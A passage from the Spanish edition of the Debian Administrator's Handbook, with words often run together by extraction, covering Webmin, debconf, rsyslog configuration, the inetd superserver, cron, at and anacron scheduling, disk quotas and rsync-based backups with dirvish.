Webmin se utiliza a través de unainterfaz web, pero no necesita instalarApache. Esencialmente, este softwaretiene su propio miniservidor webintegrado. De forma predeterminada,este servidor escucha en el puerto10000 y acepta conexiones HTTPseguras.

Los módulos incluidos cubren unaamplia variedad de servicios, entreellos:

todos los servicios base: creaciónde usuarios y grupos,administración de archivoscrontab, scripts de inicio,visualización de registros, etc.

Page 940: El Libro Del Administrador de Debian - Raphael Hertzog

bind: configuración del servidorDNS (servicio de nombres);postfix: configuración del servidorSMTP (correo electrónico);inetd: configuración delsuperservidor inetd;quota: administración de cuotas deusuario;dhcpd: configuración del servidorDHCP;prpftpd: configuración delservidor FTP;samba: configuración del servidorde archivos Samba;software: instalación oeliminación de software desdepaquetes Debian y actualizacionesde sistema.

Page 941: El Libro Del Administrador de Debian - Raphael Hertzog

La interfaz de administración estádisponible a través de un navegador enhttps://localhost:10000. ¡Cuidado!No podrá utilizar directamente todoslos módulos. Deberá configuraralgunos especificando la ubicación delos archivos de configuracióncorrespondiente y algunos archivosejecutables (programas).Frecuentemente el sistema le pediráesa información cuando no puedaactivar un módulo que solicite.

ALTERNATIVA gnome-system-tools

El proyecto GNOME también provee unainterfaz gráfica de administración en elpaquete gnome-system-tools. Es instaladode forma predeterminada en un sistema de

Page 942: El Libro Del Administrador de Debian - Raphael Hertzog

escritorio e incluye aplicaciones quepodrá encontrar en el menú Sistema →Administración. Estas aplicaciones fácilesde utilizar cubren sólo una cantidadlimitada de servicios base: administraciónde usuarios y grupos, configuración defecha y hora, configuración de red,administración de discos y gestión deservicios de inicio.

9.4.2. Configuraciónde paquetes: debconfDespués de realizar unas pocaspreguntas durante la instalación através de Debconf, muchos paquetes

Page 943: El Libro Del Administrador de Debian - Raphael Hertzog

son configurados automáticamente.Puede reconfigurar estos paquetesejecutando dpkg-reconfigure paquete.

En la mayoría de los casos, estasconfiguraciones son muy simples; sólomodifican unas pocas variablesimportantes en el archivo deconfiguración. Generalmente seagrupan estas variables entre dos líneasde «demarcación» para que lareconfiguración del paquete sólo afecteel área entre ellas. En otros casos, lareconfiguración no realizará cambios siel script detecta una modificaciónmanual del archivo de configuraciónpara preservar estas intervencioneshumanas (debido a que el script no

Page 944: El Libro Del Administrador de Debian - Raphael Hertzog

puede asegurar que sus propiasmodificaciones no afectarán laconfiguración existente).

NORMATIVA DEBIAN Preservación decambios

La Normativa Debian estipulaexpresamente que se debe hacer todo parapreservar los cambios manuales en losarchivos de configuración, por lo que másy más scripts toman precauciones aleditar archivos de configuración. Elprincipio general es simple: el script sólorealizará cambios si conoce el estado delarchivo de configuración, lo que controlacomparando la suma de verificación delarchivo con la del último archivogenerado automáticamente. Si soniguales, el script está autorizado a realizar

Page 945: El Libro Del Administrador de Debian - Raphael Hertzog

cambios en el archivo de configuración.De lo contrario, determina que el archivofue modificado y pregunta por la acción atomar (instalar el nuevo archivo, guardarel archivo existente o intentar integrar losnuevos cambios en el archivo actual).Este principio de precaución es, desdehace tiempo, exclusivo de Debian perootras distribuciones gradualmentecomenzaron a aceptarlo.

Puede utilizar el programa ucf (en elpaquete Debian del mismo nombre) paraimplementar este comportamiento.

Page 946: El Libro Del Administrador de Debian - Raphael Hertzog

9.5. syslog Eventosde sistema

9.5.1. Principio ymecanismoEl demonio rsyslogd es responsable derecolectar los mensajes de servicio queprovienen de aplicaciones y el núcleopara luego distribuirlos en archivos deregistros (usualmente almacenados enel directorio /var/log/). Obedece a suarchivo de configuración:/etc/rsyslog.conf.

Page 947: El Libro Del Administrador de Debian - Raphael Hertzog

SUPLEMENTOS Migración de sysklogda rsyslog

Debian Squeeze instala rsyslog de formapredeterminada, mientras que lasversiones anteriores (hasta Etch, pero noLenny) utilizaban sysklogd. La transiciónno fue automática y, en el caso deactualizar desde Etch debe instalarmanualmente rsyslog para utilizar laopción predeterminada de Debian.

La migración de uno a otro es indolora yaque el archivo de configuraciónpredeterminado es muy similar y lasintaxis del antiguo archivo/etc/syslog.conf es compatible con elnuevo archivo /etc/rsyslog.conf.

Page 948: El Libro Del Administrador de Debian - Raphael Hertzog

Cada mensaje de registro es asociadocon un subsistema de aplicaciones(llamados «facility» en ladocumentación):

auth y authpriv: paraautenticación;cron: proviene servicios deprogramación de tareas, cron yatd;daemon: afecta un demonio sinclasificación especial (DNS, NTP,etc.);ftp: el servidor FTP;kern: mensaje que proviene delnúcleo;lpr: proviene del subsistema deimpresión;

Page 949: El Libro Del Administrador de Debian - Raphael Hertzog

mail: proviene del subsistema decorreo electrónico;news: mensaje del subsistemaUsenet (especialmente de unservidor NNTP — protocolo detransferencia de noticias en red,«Network News TransferProtocol» — que administragrupos de noticias);syslog: mensajes del servidorsyslogd en sí;user: mensajes de usuario(genéricos);uucp: mensajes del servidorUUCP (programa de copia Unix aUnix, «Unix to Unix CopyProgram», un protocolo antiguoutilizado notablemente para

Page 950: El Libro Del Administrador de Debian - Raphael Hertzog

distribuir correo electrónico);local0 a local7: reservados parauso local.

Cada mensaje tiene asociado tambiénun nivel de prioridad. Aquí está la listaen orden decreciente:

emerg: «¡Ayuda!» Hay unaemergencia y el sistemaprobablemente está inutilizado.alerta: apúrese, cualquierdemora puede ser peligrosa, debereaccionar inmediatamente;crit: las condiciones son críticas;err: error;warn: advertencia (errorpotencial);

Page 951: El Libro Del Administrador de Debian - Raphael Hertzog

notice: las condiciones sonnormales pero el mensaje esimportante;info: mensaje informativo;debug: mensaje de depuración.

9.5.2. El archivo deconfiguraciónLa sintaxis del archivo/etc/rsyslog.conf está detallada enla página de manual rsyslog.conf(5),pero también hay disponibledocumentación HTML en el paquetersyslog-doc(/usr/share/doc/rsyslog-

Page 952: El Libro Del Administrador de Debian - Raphael Hertzog

doc/html/index.html). El principiogeneral es escribir pares de «selector»y «acción». El selector define losmensajes relevantes y la accióndescribe qué hacer con ellos.

9.5.2.1. Sintaxis del selector

El selector es una lista separada porpunto y coma de paressubsistema.prioridad (por ejemplo:auth.notice;mail.info). Unasterisco puede representar todos lossubsistemas o todas las prioridades(por ejemplo: *.alert o mail.*).Puede agrupar varios subsistemasseparándolos con una coma (porejemplo: auth,mail.info). La

Page 953: El Libro Del Administrador de Debian - Raphael Hertzog

prioridad indicada también incluye losmensajes de prioridad igual o mayor;por lo tanto, auth.alert indica losmensajes del subsistema auth deprioridad alert o emerg. Si se agregaun signo de exclamación (!) comoprefijo, indica lo contrario; en otraspalabras, prioridades estrictamentemenores. Por lo tanto, auth.!noticesólo incluye los mensajes delsubsistema auth con prioridades infoo debug. Si se agrega un signo igual (=)como prefijo corresponde única yexactamente con la prioridad indicada(auth.=notice sólo incluye losmensajes del subsistema auth conprioridad notice).

Page 954: El Libro Del Administrador de Debian - Raphael Hertzog

Cada elemento en la lista del selectorreemplaza elementos anteriores. Así esposible restringir un conjunto o excluirciertos elementos del mismo. Porejemplo, kern.info;kern.!errsignifica los mensajes del núcleo conprioridades entre info y warn. Laprioridad none indica el conjunto vacío(ninguna prioridad) y puede servir paraexcluir un subsistema de un conjuntode mensajes. Por lo tanto*.crit;kern.none indica todos losmensajes con prioridad igual o mayor acrit que no provengan del núcleo.

9.5.2.2. Sintaxis de lasacciones

Page 955: El Libro Del Administrador de Debian - Raphael Hertzog

VOLVER A LOS CIMIENTOS La tubería(«pipe») con nombre, una tuberíapersistente

Una tubería con nombre es un tipoparticular de archivo que funciona comouna tubería tradicional (la tubería quecrea con el símbolo «|» en una consola),pero a través de un archivo. Estemecanismo tiene la ventaja de poderrelacionar dos procesos que no estánrelacionados. Todo lo que se escriba enuna tubería con nombre bloquea elproceso que escribe hasta que un procesointente leer los datos escritos. Estesegundo proceso lee los datos escritos porel primero, que puede luego continuarejecutando.

Puede crear estos archivos con elprograma mkfifo.

Page 956: El Libro Del Administrador de Debian - Raphael Hertzog

Las acciones posibles son:

agregar el mensaje a un archivo(ejemplo: /var/log/messages);enviar el mensaje a un servidorsyslog remoto (ejemplo:@log.falcot.com);enviar el mensaje a una tuberíacon nombre existente (ejemplo:|/dev/xconsole);enviar el mensaje a uno o másusuarios si tienen una sesióniniciada (ejemplo:root,rhertzog);enviar el mensaje a todos losusuarios con sesiones activas

Page 957: El Libro Del Administrador de Debian - Raphael Hertzog

(ejemplo: *);escribir el mensaje en una consolade texto (ejemplo: /dev/tty8).

SEGURIDAD Reenvío de registros

Es buena idea grabar los registros másimportantes en una máquina separada (talvez dedicada a este propósito), ya queevitará que cualquier intruso elimine losrastros de su intromisión (a menos, porsupuesto, que también comprometa esteotro servidor). Lo que es más, en el casode un problema mayor (como un falloabrupto del núcleo) tendrá disponible losregistros en otro equipo, lo que aumentasus probabilidades de determinar lasecuencia de eventos que llevó al fallo.

Para aceptar mensajes de registro

Page 958: El Libro Del Administrador de Debian - Raphael Hertzog

enviados por otras máquinas debereconfigurar rsyslog: en la práctica essuficiente activar las líneas ya preparadasen el archivo /etc/rsyslog.conf($ModLoad imudp y $UDPServerRun 514).

Page 959: El Libro Del Administrador de Debian - Raphael Hertzog

9.6. ElsuperservidorinetdInetd (frecuentemente llamado«superservidor de internet») es unservidor de servidores. Ejecuta apedido servidores rara vez utilizadospara que no tengan que ejecutarcontinuamente.

El archivo /etc/inetd.conf enumeraestos servidores y sus puertos usuales.El programa inetd escucha en todosestos puertos y cuando detecta una

Page 960: El Libro Del Administrador de Debian - Raphael Hertzog

conexión a uno de ellos ejecuta elprograma servidor correspondiente.

NORMATIVA DEBIAN Registro de unservidor en inetd.conf

Frecuentemente los paquetes deseanregistrar un nuevo servidor en el archivo/etc/inetd.conf, pero la NormativaDebian prohíbe que un paquete modifiqueun archivo de configuración que no lepertenece. Es por esto que se creó elscript updated-inetd (en el paquete delmismo nombre): administra el archivo deconfiguración y otros paquetes puedenutilizarlo para registrar un nuevo servidoren la configuración del superservidor.

Cada línea significativa del archivo

Page 961: El Libro Del Administrador de Debian - Raphael Hertzog

/etc/inetd.conf describe un servidorcon siete campos (separados conespacios):

El número de puerto TCP o UDP oel nombre del servicio (asociadocon un número de puerto estándarcon la información en el archivo/etc/services).El tipo de zócalo: stream para unaconexión TCP, dgram paradatagramas UDP.El protocolo: tcp o udp.Las opciones: dos valoresposibles, wait o nowait paraindicarle a inetd si debe esperar ono a que el proceso ejecutadofinalice antes de aceptar una

Page 962: El Libro Del Administrador de Debian - Raphael Hertzog

nueva conexión. Para conexionesTCP, fáciles de gestionarsimultáneamente, utilizarágeneralmente nowait. Paraprogramas que respondan sobreUDP debería utilizar nowait sólosi el servidor es capaz de gestionarvarias conexiones en paralelo.Puede agregar un punto al final deeste campo seguido de la cantidadmáxima de conexionesautorizadas por minuto (el límitepredeterminado es 40).El nombre del usuario bajo el queejecutará el servidor.La ruta completa al programa delservidor a ejecutar.Los parámetros: esta es una lista

Page 963: El Libro Del Administrador de Debian - Raphael Hertzog

completa de los parámetros delprograma, incluyendo su propionombre (argv[0] en C).

El ejemplo a continuación ilustra loscasos más comunes:

Example 9.1. Extracto de/etc/inetd.conf

talk dgram udp wait nobody.tty /usr/sbin/in.talkd in.talkd

finger stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/in.fingerd

ident stream tcp nowait nobody /usr/sbin/identd identd -i

Frecuentemente se utiliza el programatcpd en el archivo /etc/inetd.conf.Permite limitar las conexionesentrantes aplicando reglas de control deacceso, documentadas en la página demanual hosts_access(5), y que puede

Page 964: El Libro Del Administrador de Debian - Raphael Hertzog

configurar en los archivos/etc/hosts.allow y/etc/hosts.deny. Una vez que sedeterminó que la conexión estáautorizada, tcpd ejecuta el servidorreal (en el ejemplo:/usr/bin/in.fingerd).

COMUNIDAD Wietse Venema

Wietse Venema, programador reconocidopor su experiencia sobre seguridad, es elautor del programa tcpd. También es elcreador principal de Postfix, el servidorde correo modular (SMTP, protocolosimple de transferencia de correo:«Simple Mail Transfer Protocol»),diseñado para ser más seguro y confiableque sendmail que tiene una larga historiade vulnerabilidades de seguridad.

Page 965: El Libro Del Administrador de Debian - Raphael Hertzog

ALTERNATIVA Otros programas inetd

No faltan alternativas. Además de los yamencionados openbsd-inetd y netkit-inetd, existen inetutils-inetd, micro-inetd,rlinetd y xinetd.

Esta última encarnación de superservidorofrece posibilidades muy interesantes.Notablemente, se puede dividir suconfiguración en varios archivos(almacenados, por supuesto, en eldirectorio /etc/xinetd.d/), lo que puedehacer más sencilla la vida deladministrador.

Page 966: El Libro Del Administrador de Debian - Raphael Hertzog

9.7. Programaciónde tareas con crony atdcron es el demonio responsable deejecutar tareas programadas yrecurrentes (todos los días, todas lassemanas, etc.); atd está encargado delos programas a ejecutar una sola vezpero en un momento específico en elfuturo.

En un sistema Unix, muchas tareasestán programadas para ejecutarseregularmente:

Page 967: El Libro Del Administrador de Debian - Raphael Hertzog

rotar los archivos de registro;actualizar la base de datos delprograma locate;respaldos;scripts de mantenimiento (comolimpiar los archivos temporales).

De forma predeterminada, todos losusuarios pueden programar tareas paraejecutar. Cada usuario tiene su propio«crontab» en el que puedenalmacenarlas. Puede editarloejecutando crontab -e (el contenido delmismo es almacenado en el archivo/var/spool/cron/crontabs/usuario).

SEGURIDAD Restricción de cron o atd

Page 968: El Libro Del Administrador de Debian - Raphael Hertzog

Puede restringir el acceso a cron si creaun archivo de autorización explícita (unalista blanca) en /etc/cron.allow dondeindique sólo los usuarios autorizados aprogramar tareas. Todos los demásusuarios automáticamente quedaránexcluidos de dicha funcionalidad. A lainversa, si sólo desea bloquear unospocos usuarios problemáticos, podríaagregar su nombres de usuario en elarchivo de prohibición explícita/etc/cron.deny. Esta mismafuncionalidad está disponible para atdcon los archivos /etc/at.allow y/etc/at.deny.

El usuario root tiene su propio«crontab», pero también puede utilizarel archivo /etc/crontab o escribir

Page 969: El Libro Del Administrador de Debian - Raphael Hertzog

archivos «crontab» adicionales en eldirectorio /etc/cron.d. Estas dosúltimas soluciones tienen la ventaja depoder especificar el usuario bajo el quese ejecutará el programa.

De forma predeterminada, el paquetecron incluye algunas tareasprogramadas que ejecutan:

programas en el directorio/etc/cron.hourly/ una vez porhora;programas en el directorio/etc/cron.daily/ una vez pordía;programas en el directorio/etc/cron.weekly/ una vez por

Page 970: El Libro Del Administrador de Debian - Raphael Hertzog

semana;programas en el directorio/etc/cron.monthly/ una vez pormes.

Muchos paquetes Debian dependen deeste servicio ya que agregan sus scriptsde mantenimiento en estos directorios,lo que garantiza un funcionamientoóptimo de sus servicios.

9.7.1. Formato de unarchivo crontab

SUGERENCIA Atajos de texto paracron

Page 971: El Libro Del Administrador de Debian - Raphael Hertzog

cron reconoce algunas abreviaciones quereemplazan los primeros cinco campos deun elemento de crontab. Corresponden alas opciones de programación máscomunes:

@yearly: una vez por año (1 deEnero a las 00:00);@monthly: una vez por mes (el 1rode mes a las 00:00);@weekly: una vez por semana(Domingo a las 00:00);@daily: una vez por día (a las00:00);@hourly: una vez por hora (alprincipio de cada hora).

CASO ESPECIAL cron y horarios deverano.

Page 972: El Libro Del Administrador de Debian - Raphael Hertzog

En Debian, cron tiene en cuenta loscambios de hora (para horarios de veranoo, de hecho, cualquier cambio importanteen la hora local) de la mejor forma que lees posible. Por lo tanto, las tareas quedeben ejecutarse durante una hora quenunca existió (por ejemplo: aquellasprogramadas para las 02:30 durante elcambio de horario de verano en Francia,ya que el reloj salta de las 02:00 a las03:00 directamente) se ejecutarán pocodespués del cambio de hora (por lo tanto,alrededor de las 03:00 DST). Por otrolado, en otoño, las tareas serán ejecutadassólo una vez cuando podrían serejecutadas varias veces (a las 02:30 DSTy luego a las 02:30 en horario estándar yaque a las 03:00 DST el reloj vuelve a las02:00).

Tenga cuidado, sin embargo, si el orden y

Page 973: El Libro Del Administrador de Debian - Raphael Hertzog

el tiempo entre ejecuciones de tareasprogramadas importa. Debe revisar lacompatibilidad de estas limitaciones conel comportamiento de cron; si esnecesario, puede preparar unaprogramación especial para las dosnoches problemáticas del año.

Cada línea significativa de un archivocrontab describe una tarea programadacon los siguientes seis (o siete)campos:

el valor del minuto (número de 0 a59);el valor de la hora (de 0 a 23);el valor del día del mes (de 1 a31);

Page 974: El Libro Del Administrador de Debian - Raphael Hertzog

el valor del mes (de 1 a 12);el valor de los días de la semana(de 0 a 7, donde 1 es el lunes y eldomingo es tanto el 0 como el 7;también es posible utilizar las tresprimeras letras del nombre del díaen inglés, como Sun, Mon, etc.);el nombre de usuario bajo el quese ejecutará el programa (en elarchivo /etc/crontab y en losfragmentos ubicados en/etc/cron.d/, pero no en losarchivos de cada usuario);el programa a ejecutar (cuando secumpla la condición definida porlos primeros cinco campos).

Todos estos detalles están

Page 975: El Libro Del Administrador de Debian - Raphael Hertzog

documentados en la página de manualcrontab(5).

Puede expresar cada valor como unalista de valores posibles (separados porcoma). La sintaxis a-b describe elintervalo de todos los valores entre a yb. La sintaxis a-b/c describe elintervalo con un incremento de c (porejemplo: 0-10/2 es lo mismo que0,2,4,6,8,10. Un asterisco «*» es uncomodín y representa todos los valoresposibles.

Example 9.2. Ejemplo de archivocrontab

#Formato

#min hora dia mes dds programa

Page 976: El Libro Del Administrador de Debian - Raphael Hertzog

# Descargar los datos todas las noches a las 19:25

25 19 * * * $HOME/bin/descargar.pl

# 08:00 en días de semana (Lunes a Viernes)

00 08 * * 1-5 $HOME/bin/haceralgo

# Reiniciar el proxy IRC luego de cada reinicio

@reboot /usr/bin/dircproxy

SUGERENCIA Ejecución de unprograma durante el inicio

Para ejecutar un programa sólo una vez,justo después de iniciar el equipo, puedeutilizar el macro @reboot (reiniciar cronno disparará aquello programado con@reboot). Este macro reemplaza losprimeros cinco campos de un elemento enel archivo «crontab».

Page 977: El Libro Del Administrador de Debian - Raphael Hertzog

9.7.2. Utilización delprograma atat ejecuta un programa en un momentoespecífico en el futuro. Obtiene lafecha y hora deseada como parámetrosy el programa a ejecutar en su entradaestándar. Ejecutará el programa comosi hubiese sido ingresado en la consolaactual. at también se encarga demantener el entorno para poderreproducir las mismas condiciones alejecutar el programa. Puede indicar lahora con las convenciones usuales:16:12 o 4:12pm representan 12minutos pasadas las 4 de la tarde.

Page 978: El Libro Del Administrador de Debian - Raphael Hertzog

También puede especificar la fecha envarios formatos europeos uoccidentales, incluyendo DD.MM.AA(27.07.12 representaría el 27 de Juliode 2012), AAAA-MM-DD (la misma fechase representaría como 2012-07-27),MM/DD/[CC]AA (es decir: 12/25/12 o12/25/2012 representan, ambas, el 25de Diciembre de 2012) o simplementeMMDDCCAA (de forma que 122512 o12252012 también representaría el 25de Diciembre de 2012). Sin fecha,ejecutará el programa tan pronto comoel reloj indique la hora especificada (elmismo día o el siguiente si ya pasódicha hora ese día). También puedeingresar simplemente «today» o«tomorrow» representando el día actual

Page 979: El Libro Del Administrador de Debian - Raphael Hertzog

o el día siguiente, respectivamente.

$ at 09:00 27.07.12 <<END

> echo "¡No olvides desearle un feliz cumpleaños a Raphaël!" \

> | mail [email protected]

> END

warning: commands will be executed using /bin/sh

job 31 at Fri Jul 27 09:00:00 2012

Una sintaxis alternativa posterga laejecución por un tiempo determinado:at now + número período. El períodopuede ser minutes (minutos), hours(horas), days (días) o weeks (semanas).número simplemente indica la cantidadde dichas unidades deben pasar antesde ejecutar el programa.

Para cancelar una tarea programada

Page 980: El Libro Del Administrador de Debian - Raphael Hertzog

con cron, simplemente ejecute crontab-e y elimine la línea correspondientedel archivo crontab. Para tareas en ates casi igual de sencillo: ejecute atrmnúmero-tarea. El número de tarea esindicado por at cuando la programó,pero puede volver a encontrarlaejecutando atq que le proveerá unalista de las tareas programadasactualmente.

Page 981: El Libro Del Administrador de Debian - Raphael Hertzog

9.8. Programaciónde tareasasincrónicas:anacronanacron es el demonio que completacron en equipos que no estánencendidos todo el tiempo. Dado quegeneralmente las tareas recurrentesestán programadas para la mitad de lanoche, no ejecutarán nunca si lamáquina está apagada en esosmomentos. El propósito de anacron esejecutarlas teniendo en cuenta los

Page 982: El Libro Del Administrador de Debian - Raphael Hertzog

períodos de tiempo en los que el equipono estuvo funcionando.

Sepa que anacron frecuentementeejecutará dichos programas unosminutos después de iniciar la máquina,lo que utilizará poder de procesamientodel equipo. Es por esto que se ejecutanlas tareas en el archivo/etc/anacrontab con el programanice que reduce su prioridad deejecución, limitando así su impacto enel resto del sistema. Tenga en cuentaque el formato de este archivo no es elmismo que el de /etc/crontab; sitiene necesidades especiales paraanacron revise la página de manualanacrontab(5).

Page 983: El Libro Del Administrador de Debian - Raphael Hertzog

VOLVER A LOS CIMIENTOSPrioridades y nide

Los sistemas Unix (y, por lo tanto, Linux)son sistemas multitarea y multiusuario.Varios procesos puede ejecutar enparalelo y pertenecer a diferentesusuarios: el núcleo mediará el acceso alos recursos para los diferentes procesos.Como parte de esta tarea tiene el conceptode prioridad, que permite favorecer aciertos procesos por sobre otros según seanecesario. Cuando sabe que un procesopuede ejecutar con prioridad baja, puedeindicarlo ejecutándolo con nice programa.El programa entonces tendrá una porciónmás pequeña del CPU y tendrá un menorimpacto sobre otros procesos enejecución. Por supuesto, si no hay otrosprocesos que necesiten ejecutar elprograma no será restringido

Page 984: El Libro Del Administrador de Debian - Raphael Hertzog

artificialmente.

nice funciona con niveles de «bondad»:los niveles positivos (de 1 a 19) reducenprogresivamente la prioridad mientrasque los niveles negativos (de -1 a -20)aumentan la prioridad — pero sólo rootpuede utilizar estos niveles negativos. Amenos que se indique lo contrario (revisela página de manual nice(1)), niceaumentará en 10 el nivel actual.

Si descubre que una tarea que estáprocesando debería haberse ejecutadocon nice no es muy tarde para corregirlo;el programa renice modifica la prioridadde cualquier proceso que está enejecución en la dirección que desee (peroreducir la «bondad» de un proceso estáreservado para el usuario root).

Page 985: El Libro Del Administrador de Debian - Raphael Hertzog

Instalar el paquete anacron desactiva laejecución via cron de los scripts en losdirectorios /etc/cron.hourly/,/etc/cron.daily/,/etc/cron.weekly/ y/etc/cron.monthly/. Esto evita quesean ejecutados tanto por anacroncomo por cron. El programa croncontinuará activo y seguiráadministrando otras tareasprogramadas (especialmente aquellasprogramadas por los usuarios).

Page 986: El Libro Del Administrador de Debian - Raphael Hertzog

9.9. CuotasEl sistema de cuotas permite limitar elespacio en disco reservado para unusuario o grupo de usuarios. Paraconfigurarlo, debe tener un núcleocompatible (compilado con la opciónCONFIG_QUOTA) — como es el caso delos núcleos Debian. Puede encontrar elsoftware de administración de cuotasen el paquete Debian quota.

Para activarlo en un sistema dearchivos debe indicar las opcionesusrquota y grpquota en el archivo/etc/fstab para las cuotas de usuarioy grupos, respectivamente. Al reiniciar

Page 987: El Libro Del Administrador de Debian - Raphael Hertzog

el equipo se actualizarán las cuotascuando no exista actividad en el disco(una condición necesaria para podercontabilizar apropiadamente el espacioen disco ya utilizado).

Ejecutar edquota usuario (o edquota-g grupo) le permite modificar loslímites mientras examina el uso actualdel espacio en disco.

YENDO MÁS ALLÁ Definición de cuotascon un script

Puede utilizar el programa setquota en unscript para modificar automáticamentemuchas cuotas. Su página de manualsetquota(8) contiene los detalles de lasintaxis que debe utilizar.

Page 988: El Libro Del Administrador de Debian - Raphael Hertzog

El sistema de cuotas le permite definircuatro límites:

dos límites (llamados «suave» y«duro») se refieren a la cantidadde bloques utilizados. Si creó elsistema de archivos con untamaño de bloque de 1 kibibyte,cada bloque contiene 1024 bytesdel mismo archivo. Por lo tanto,los bloques no saturados inducenpérdida de espacio en disco. Puedesaturar una cuota de 100 bloques,que teóricamente permitiríanalmacenar 102400 bytes, con sólo100 archivos de 500 bytes cadauno que sólo representan 50000

Page 989: El Libro Del Administrador de Debian - Raphael Hertzog

bytes en total.dos límites (suave y duro) quehacen referencia a la cantidad deinodos utilizados. Cada archivoocupa al menos un inodo paraalmacenar información sobre símismo (permisos, dueño, marcastemporales del último acceso,etc.). Por lo tanto, es un límite enla cantidad de archivos delusuario.

Puede exceder temporalmente unlímite «suave»; el programawarnquota, generalmente ejecutadopor cron, simplemente advertirá alusuario que excedieron su cuota. Nuncapodrá exceder un límite «duro»: el

Page 990: El Libro Del Administrador de Debian - Raphael Hertzog

sistema rechazará toda operación quefuera a exceder una cuota dura.

VOCABULARIO Bloques e inodos

El sistema de archivos divide el discoduro en bloques — pequeñas áreascontiguas. Definirá el tamaño de dichosbloques cuando cree el sistema dearchivos y generalmente varía entre 1 y 8kibibytes.

Un bloque puede utilizarse paraalmacenar los datos reales de un archivoo los metadatos utilizados por el sistemade archivos. Entre estos metadatos,encontrará especialmente los inodos. Uninodo utiliza un bloque del disco duro(pero no se lo tiene en cuenta respecto ala cuota de bloques, sólo en la cuota de

Page 991: El Libro Del Administrador de Debian - Raphael Hertzog

inodos) y contiene tanto la informacióndel archivo al que corresponde (nombre,dueño, permisos, etc.) y punteros a losbloques de datos que son utilizadosrealmente. Para archivos muy grandes queocupan más bloques que los un inodopuede referenciar, existe un sistema debloques indirectos; el inodo hacereferencia a una lista de bloques que nocontienen datos directamente sino otralista de bloques.

Si ejecuta edquota -t puede definir un«período de gracia» máximoautorizado durante el que se puedeexceder un límite suave. Luego de esteperíodo se interpretará el límite suavecomo uno duro y el usuario deberáreducir su uso de espacio en disco por

Page 992: El Libro Del Administrador de Debian - Raphael Hertzog

debajo de este límite para poderescribir en disco duro.

YENDO MÁS ALLÁ Configuración deuna cuota predeterminada para nuevosusuarios

Para definir una cuota automática parausuarios nuevos, debe configurar unusuario patrón (con edquota o setquota)e indicar su nombre de usuario en lavariable QUOTAUSER en el archivo/etc/adduser.conf. Se aplicaráautomáticamente dicha configuración decuota a cada nuevo usuario creado con elprograma adduser.

Page 993: El Libro Del Administrador de Debian - Raphael Hertzog

9.10. RespaldoRealizar respaldos es una de lasprincipales responsabilidades decualquier administrador; pero es untema complejo, que involucraherramientas potentes que usualmenteson difíciles de dominar.

Existen muchos programas, comoamanda, un sistema cliente/servidorque tiene muchas opciones, cuyaconfiguración es bastante complicada.BackupPC también es una solucióncliente/servidor pero con una interfazweb para configurarlo, lo que lo hacemucho más amigable. Como bien

Page 994: El Libro Del Administrador de Debian - Raphael Hertzog

puede comprobar con apt-cachesearch backup, docenas de otrospaquetes Debian están dedicados asoluciones de respaldo.

En lugar de detallar algunos de ellos,esta sección presentará lo que pensaronlos administradores de Falcot Corpcuando definieron su estrategia derespaldos.

En Falcot Corp los respaldos tiene dosobjetivos: restaurar archivoseliminados por error y recuperarrápidamente cualquier equipo (servidoro de escritorio) en el que falle el discoduro.

Page 995: El Libro Del Administrador de Debian - Raphael Hertzog

9.10.1. Respaldos conrsyncHabiendo descartado los respaldos encintas por ser lentos y costosos, serespaldarán los datos en discos durosen un servidor dedicado en el queutilizarán RAID por software (revise laSection 12.1.1, “RAID por software”)que protegerá los datos contra erroresde disco duro. No se respaldaránindividualmente los equipos deescritorio, pero se le informa a losusuarios que se respaldará su cuentapersonal en el servidor de archivos deldepartamento. Se utiliza diariamente el

Page 996: El Libro Del Administrador de Debian - Raphael Hertzog

programa rsync (en el paquete delmismo nombre) para respaldar estosdiferentes servidores.

VOLVER A LOS CIMIENTOS El enlaceduro, un segundo nombre para elarchivo

A diferencia de un enlace simbólico, nose puede diferenciar un enlace duro delarchivo enlazado. Crear un enlace duro esesencialmente lo mismo que dar alarchivo un segundo nombre. Es por estoque eliminar un enlace duro sólo eliminauno de los nombres asociados al archivo.Siempre que quede otro nombre asociadoal archivo, los datos en él seguiránpresentes en el sistema de archivos. Esinteresante saber que, a diferencia de unacopia, un enlace duro no ocupa espacio

Page 997: El Libro Del Administrador de Debian - Raphael Hertzog

adicional en el disco duro.

Puede crear un enlace duro con lnobjetivo enlace. El archivo enlace seráun nuevo nombre para el archivoobjetivo. Sólo puede crear enlaces durosen el mismo sistema de archivos, mientrasque los enlaces simbólicos no tienendicha restricción.

El espacio en disco disponible prohíbela implementación de un respaldodiario completo. Por lo tanto, elprograma rsync es precedido con unaduplicación del contenido del respaldoanterior con enlaces duros, lo que evitautilizar demasiado espacio en disco.Luego, el proceso rsync sólo

Page 998: El Libro Del Administrador de Debian - Raphael Hertzog

reemplazará los archivos que fueronmodificados desde el último respaldo.Con este mecanismo, pueden manteneruna gran cantidad de respaldos en unespacio pequeño. Debido a que todoslos respaldos están disponiblesinmediatamente (por ejemplo, endiferentes directorios de un recursocompartido en la red) puede realizarcomparaciones entre dos fechasrápidamente.

Puede implementar fácilmente estemecanismo de respaldo con elprograma dirvish. Utiliza un espaciode almacenamiento de respaldo(«bank» — banco — en suvocabulario) en el que ubica copias con

Page 999: El Libro Del Administrador de Debian - Raphael Hertzog

marcas temporales de conjuntos dearchivos de respaldo (estos conjuntosson llamados «vaults» — bóvedas —en la documentación de dirvish).

La configuración principal se encuentraen el archivo/etc/dirvish/master.conf. Definela ubicación del espacio dealmacenamiento de respaldos, la listade «bóvedas» administradas y losvalores predeterminados de expiraciónde los respaldos. El resto de laconfiguración está ubicada en losarchivosbanco/bóveda/dirvish/default.conf

y contienen las configuracionesespecíficas a los conjuntos de archivoscorrespondientes.

Page 1000: El Libro Del Administrador de Debian - Raphael Hertzog

Example 9.3. EL archivo/etc/dirvish/master.conf

bank:

/backup

exclude:

lost+found/

core

*~

Runall:

root 22:00

expire-default: +15 days

expire-rule:

# MIN HR DOM MON DOW STRFTIME_FMT

* * * * 1 +3 months

* * 1-7 * 1 +1 year

* * 1-7 1,4,7,10 1

La configuración bank indica eldirectorio en el que se almacenarán losrespaldos. La configuración exclude lepermite indicar archivos (o tipos de

Page 1001: El Libro Del Administrador de Debian - Raphael Hertzog

